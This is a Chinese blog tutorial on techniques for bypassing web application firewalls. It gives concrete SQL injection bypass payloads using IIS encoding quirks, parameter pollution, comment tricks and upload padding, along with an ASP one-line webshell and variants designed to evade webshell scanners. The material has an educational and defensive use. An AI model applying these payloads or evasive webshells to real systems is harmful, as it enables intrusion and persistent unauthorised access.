WAF是被如何绕过的

1|0WAF是如何被绕过的

1|1课程简介

WAF(Web应用防火墙,Web Application Firewall的简称)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品。WAF可以发现和拦截各类Web层面的攻击,记录攻击日志,实时预警提醒,在Web应用本身存在缺陷的情况下保障其安全。但是,WAF不是万能的、完美的、无懈可击的,在种种原因下,它们也会有各自的缺陷,作为用户不可以盲目相信WAF而不注重自身的安全。

1|2前言

WAF(Web应用防火墙,Web Application Firewall的简称)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品。WAF可以发现和拦截各类Web层面的攻击,记录攻击日志,实时预警提醒,在Web应用本身存在缺陷的情况下保障其安全。

但是,WAF不是万能的、完美的、无懈可击的,在种种原因下,它们也会有各自的缺陷,作为用户不可以盲目相信WAF而不注重自身的安全。

那么,有哪些薄弱点,可以被攻击者用来作为WAF的突破口呢?我们先来了解下。

1|3主流WAF的绕过技术

1|0攻击者可利用哪些方面来绕过WAF
1. Web容器的特性 2. Web应用层的问题 3. WAF自身的问题(本次LIVE重点) 4. 数据库的一些特性

1|0Web容器的特性 – 1

1|0IIS+ASP的神奇%

1|0在IIS+ASP的环境中,对于URL请求的参数值中的%,如果和后面的字符构成的字符串在URL编码表之外,ASP脚本
1|0处理时会将其忽略。

image-20220320155940433

1|0现在假设有如下请求:
http://www.test.com/1.asp?id=1 union all se%lect 1,2,3,4 fro%m adm%in

在WAF层,获取到的id参数值为1 union all se%lect 1,2,3,4 fro%m adm%in,此时waf因为%的分隔,无法检测出关键字select from等

但是因为IIS的特性,id获取的实际参数就变为1 union all select 1,2,3,4 from admin,从而绕过了waf。

这个特性仅在iis+asp上 asp.net并不存在。

1|0Web容器的特性 – 2

1|0IIS的Unicode编码字符

image-20220320160047835

IIS支持Unicode编码字符的解析,但是某些WAF却不一定具备这种能力。

(已知 's' 的unicode编码为:%u0053, 'f' 的unicode编码为%u0066)

http://www.test.com/1.asp?id=1 union all %u0053elect 1,2,3,4 %u0066rom admin

在WAF层,获取到的id参数值为1 union all %u0053elect 1,2,3,4 %u0066rom admin

但是IIS后端检测到了Unicode编码会将其自动解码,脚本引擎和数据库引擎最终获取到的参数会是:1 union all select 1,2,3,4 from admin

此方法还存在另外一种情况,多个不同的widechar可能会被转换为同一个字符。例如:
(http://blog.sina.com.cn/s/blog_85e506df0102vo9s.html WideCharMultiByte字符转换问题)

s%u0065lect->select s%u00f0lect->select

这种情况需要根据不同的waf进行相应的测试,并不是百发百中。但是对于绕过来说,往往只要一个字符成功绕过即可达到目的。

1|0Web容器的特性 – 3

1|0HPP(HTTP Parameter Pollution): HTTP参数污染

image-20220320160243324

在HTTP协议中是允许同样名称的参数出现多次的。例如:http://www.test.com/1.asp?id=123&id=

根据WAF的不同,一般会同时分开检查id=123和id=456,也有的仅可能取其中一个进行检测。但是对于IIS+ASP/ASP.NET来说,它最终获取到的ID参数的值是123,空格456(asp)或123,456(asp.net)。

所以对于这类过滤规则,攻击者可以通过:

id=union+select+password/&id=/from+admin

来逃避对select * from的检测。因为HPP特性,id的参数值最终会变为:

union select password/,/from admin

image-20220320160414887

下表是统计出的不同服务器对HPP的处理方式,大家可以参考一下。

image-20220320160406494

1|0Web容器的特性 – 4

1|0畸形HTTP请求

image-20220320160535972

以上是Web容器的一些特性

接下来,我们讲讲Web应用层的问题

1|0Web应用层的问题 -1

1|0多重编码问题

image-20220320160605965

如果Web应用程序能够接收多重编码的数据,而WAF只能解码一层(或少于WEB应用程序能接收的层数)时,WAF会因为解码不完全导致防御机制被绕过。

1|0Web应用层的问题 -2

1|0多数据来源的问题

如Asp和Asp.NET中的Request对象对于请求数据包的解析过于宽松,没有依照RFC的标准来,开发人员在编写代码时如果使用如下方式接收用户传入的参数

image-20220320160627158

1|0WEB程序可从以下 3 种途径获取到参数ID的参数值:
1|0
1. 从GET请求中获取ID的参数值; 2. 如果GET请求中没有ID参数,尝试从POST的ID参数中获取参数值; 3. 如果GET和POST中都获取不到ID的参数值,那么从Cookies中的ID参数获取参数值。

这样对于某些WAF来说,如果仅检查了GET或POST的,那么来自Cookie的注入攻击就无能为力了,更何况来自于这三种方式组合而成的参数污染的绕过方法呢?

image-20220320160729329

1|0请求内容为:

image-20220320160739112

1|0返回内容为:

image-20220320160746586

可以看到 id参数值的取值顺序

1|0WAF自身的问题 – 1

1|0白名单机制

1|0WAF存在某些机制,不处理和拦截白名单中的请求数据:
1. 指定IP或IP段的数据。
2. 来自于搜索引擎爬虫的访问数据。
3. 其他特征的数据。

如以前某些WAF为了不影响站点的SEO优化,将User-Agent为某些搜索引擎(如谷歌)的请求当作白名单处理,不检测和拦截。伪造HTTP请求的User-Agent非常容易,只需要将HTTP请求包中的User-Agent修改为谷歌搜索引擎的User-Agent即可畅通无阻。

1|0WAF自身的问题 – 2

1|0数据获取方式存在缺陷

1 、某些WAF无法全面支持GET、POST、Cookie等各类请求包的检测,当GET请求的攻击数据包无法绕过时,转换成POST可能就绕过去了。或者,POST以Content-Type: application/x-www-form-urlencoded无法绕过时,转换成上传包格式的Content-Type: multipart/form-data就能够绕过去。

image-20220320160933351

1|02 、某些WAF从数据包中提取检测特征的方式存在缺陷,如正则表达式不完善,某些攻击数据因为某些干扰字符的存在而无法被提取,常见的如%0a、%0b、%0c、%0d、%09、%0a等。在以前,针对某些WAF,直接使用以上字符就可以直接绕过。当然,现在不太可能了。

1|0WAF自身的问题 – 3

1|0数据处理不恰当

1|01 、%00截断
1|0将%00进行URL解码,即是C语言中的NULL字符
1|0如果WAF对获取到的数据存储和处理不当,那么%00解码后会将后面的数据截断,造成后面的数据没有经过检测。

image-20220320161008950

WAF在获取到参数id的值并解码后,参数值将被截断成1/*,后面的攻击语句将没有被WAF拿去进行检测。

1|02 、&字符处理

image-20220320161023906

1|0某些WAF在对HTTP请求数据包中的参数进行检测时,使用&字符对多个参数进行分割,然后分别进行检测,如:

image-20220320161046231

这些WAF会使用&符号分割par1、par2和par3,然后对其参数值进行检测。但是,如果遇到这种构造:

image-20220320161056901

1|0WAF会将以上参数分割成如下 3 部分:

image-20220320161109049

1|0如果将这 3 个参数分别进行检测,某些WAF是匹配不到攻击特征的。
1|0这里的%26是&字符
1|0/%26/->/&/其实只是一个SQL的注释而已

1|0WAF自身的问题 – 4

1|0数据清洗不恰当

当攻击者提交的参数值中存在大量干扰数据时,如大量空格、TAB、换行、%0c、注释等,WAF需要对其进行清洗,筛选出真实的攻击数据进行检测,以提高检查性能,节省资源。

如果WAF对数据的清洗不恰当,会导致真实的攻击数据被清洗,剩余的数据无法被检测出攻击行为。

1|0WAF自身的问题 – 5

1|0规则通用性问题

1|0通用型的WAF,一般无法获知后端使用的是哪些WEB容器、什么数据库、以及使用的什么脚本语言。
1|0每一种WEB容器、数据库以及编程语言,它们都有自己的特性,想使用通用的WAF规则去匹配和拦截,是非常难的。

通用型WAF在考虑到它们一些共性的同时,也必须兼顾它们的特性,否则就很容易被一些特性给Bypass!

1|0WAF自身的问题 – 6

1|0为性能和业务妥协

要全面兼容各类Web Server及各类数据库的WAF是非常难的,为了普适性,需要放宽一些检查条件,暴力的过滤方式会影响业务。

对于通用性较强的软WAF来说,不得不考虑到各种机器和系系统的性能,故对于一些超大数据包、超长数据可能会跳过不检测。

以上就是WAF自身的一些问题,接下来我们会针对这些问题进行讲解,看看WAF是怎么受这些问题影响的。

然后是数据库的一些特性,不同的数据库有一些属于自己的特性,WAF如果不能处理好这些特性,就会出很大的问题。

总结一下,WAF自身的问题有:

1. 白名单机制 2. 数据获取方式存在缺陷 3. 数据处理不恰当 4. 数据清洗不恰当 5. 规则通用性问题 6. 为性能和业务妥协

1|4实例讲解WAF绕过的思路和方法

1|0一、数据提取方式存在缺陷,导致WAF被绕过

1|0某些WAF从数据包中提取检测特征的方式存在缺陷,如正则表达式不完善,某些攻击数据因为某些干扰字符的存在而无法被提取。

image-20220320161216441

1|0某WAF在后端会将删除线部分当作注释清洗掉:

image-20220320161223973

事实上,x参数和y参数其实和id参数并无关系,这样的特征数据提取方式,是不科学的。

1|0二、数据清洗方式不正确,导致WAF被绕过

当攻击者提交的参数值中存在大量干扰数据时,如大量空格、TAB、换行、%0c、注释等,WAF需要对其进行清洗(为提升性能和降低规则复杂性),筛选出真实的攻击数据进行检测,但是,如果清洗方式不正确,会导致真正的
攻击部分被清洗,然后拿去检测的是不含有攻击向量的数据,从而被Bypass!

image-20220320161252015

image-20220320161316070

1|0其实,对于/*来说,它只是一个字符串
1|0对于*/来说,它也是一个字符串,在这里还充当一个别名
1|0但是对于WAF来说,它会认为这是多行注释符,把中间的内容清洗掉去进行检测,当然检测不到什么东西。

1|0三、规则通用性问题,导致WAF被绕过

比如对SQL注入数据进行清洗时,WAF一般不能知道后端数据库是MySQL还是SQL Server,那么对于MySQL的/!50001Select/来说,这是一个Select的命令,而对于SQL Server来说,这只不过是一个注释而已,注释的内容为!50001Select。

尤其是对于通用性WAF,这一点相当难做,很难去处理不同数据库的特性之间的问题。

如数据库为SQL Server,某些WAF在处理如下语句时:

image-20220320161333955

因为WAF会将MYSQL的/!50001/这种处理为MYSQL命令。但是对于SQL Server来说,这就是一个普通的注释
而已。

这样处理后,SQL的语法都彻底乱了,自然而然就被Bypass了!

大家可以发现,很多WAF对错误的SQL语句是不拦截的。

同样的,在Mysql中#是注释,但是在SQL Server中#只是一个字符串。

那么如下语句:9999' and 1=(select top 1 name as # from master..sysdatabases)--会被当作为:9999' and 1=(select top 1 name as注释

其实,这里的#只是一个字符,充当一个别名的角色而已。

如果后端数据库是SQL Server,这样的语句是没问题的。

但是通用型WAF怎么能知道后端是SQL Server呢?

1|5WAF对上传的检测和处理

1|0一、为性能和业务妥协

要全面兼容各类Web Server及各类数据库的WAF是非常难的,为了普适性,需要放宽一些检查条件,暴力的过滤方式会影响业务。

对于通用性较强的软WAF来说,不得不考虑到各种机器和系统的性能,故对于一些超大数据包、超长数据可能会跳过不检测。

image-20220320161414403

1|0如上图所示,在上传数据包部分,强行添加 5 万个字符,有些WAF会直接不检测放行,或者,检测其中的一部分。

比如,检测最前面5w个字符有没有攻击特征,如果没有,放行。

针对这种,不能光靠WAF,我们应该在我们的WEB容器层面或应用程序层面来限定上传数据的大小。

所以,我们不能过度依赖于WAF。

1|0二、数据获取方式存在缺陷

1|0针对上传的数据,WAF需要对数据进行提取并检测。
1|0但是,它是怎么提取的呢?很多WAF都是基于正则表达式去提取。
1|0既然是正则表达式,如果没有写得很全面很规范,那就容易产生问题。

image-20220320161437366

1|0如上图所示,对于IIS,这样写是没问题的。

image-20220320161450131

1|0但是WAF的设计者可能并不知道,这个是可以这样写的。
1|0其他容器有的也可以,有点微小差异。
1|0当用正则表达式去获取上传的文件名时,正则表达式就匹配不到了。所以上传就被绕过了。

在应用程序代码层面,开发者可以检查Content-Disposition: form-data; name=头部,如果发现不符合格式规范,在代码层面禁止上传。

1|6脚本木马查杀工具的缺陷

我们看一个测试样本,用asp的一句话做个示例。

原始一句话木马: <%execute request("a")%>

这个是最原始的,只要是一款webshell查杀工具,基本都能查杀。

使用了三款工具进行检测,都是比较知名的,其中有一款还是我崇拜的一个前辈创造的。

我们来看一下查杀情况:

初始一句话木马: <%execute request("a")%>

一句话木马变种 1 :<%dim REM1:execute request("a")%>

一句话木马变种 2 :<%dim REM1:REM1=request("a"):if true then v=REM1 else v="" end if:executev%>

1|0大家可以发现,变种 1 和 2 虽然说是变种,其实没有什么特别的代码,也没用加密混淆。
1|0因为,这里用到的是这些查杀软件的自身缺陷,所以没有那么复杂的代码。

image-20220320161527601

1|0这是针对上面三个一句话木马的检测情况。
1|0工具A和B,检测方式为正则匹配和变量跟踪。工具C还有语法分析的功能。
1|0C会分析语法。
1|0我们先看A和B。

A和B有变量跟踪的能力。打个比方,X变量传递给Y变量,然后用execute执行Y,A工具和B工具是能检测到的。

比如:

a=request("a") b=a execute b
1|0这样还是会被检测到的,不管传递了多少次。
1|0但是,A和B没有语法分析的功能。也就是说,逻辑单一。
1|0如果,存在IF语句,让逻辑改变下,这个简单的变量跟踪就失效了。
x=request("a") if true then v=x else v="" end if execute v

如果加这样一个IF v还是会等于x 但是对于A和B工具来说 会跟踪到v="" 所以不查杀了但是我们观察到,C工具是有语法分析功能的,为什么也查杀不了呢?

1|0原因在于,C工具的语法分析功能。

REM是asp的注释,但是REM1不是注释

REM 1是注释,REM1是变量

C工具误将REM1当真注释清洗了

<%dim REM1:execute request("a")%>被清洗成了<%dim

现在WAF还会对一句话木马的通信数据包进行拦截,目前来说,拦截还比较简单。其实我觉得需要更加增强一点。

很多WAF还只是基于通信的HTTP数据包中的简单特征进行拦截的,如果特征被修改,仍然可以被绕过。

有一些WAF可以解开一句话木马的BASE64加密字符串,并检测,这是个不错的方式。不过,仍然还是不够。

我们通过抓取脚本木马连接的数据包,通过逐段删减,就可以确定拦截位置。然后对照修改就可以让WAF检测不
到。这些需要一点点脚本功底。


__EOF__

本文作者Rlins
本文链接https://www.cnblogs.com/Rlins/p/16369818.html
关于博主
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   Rlins  阅读(314)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~
点击右上角即可分享
微信分享提示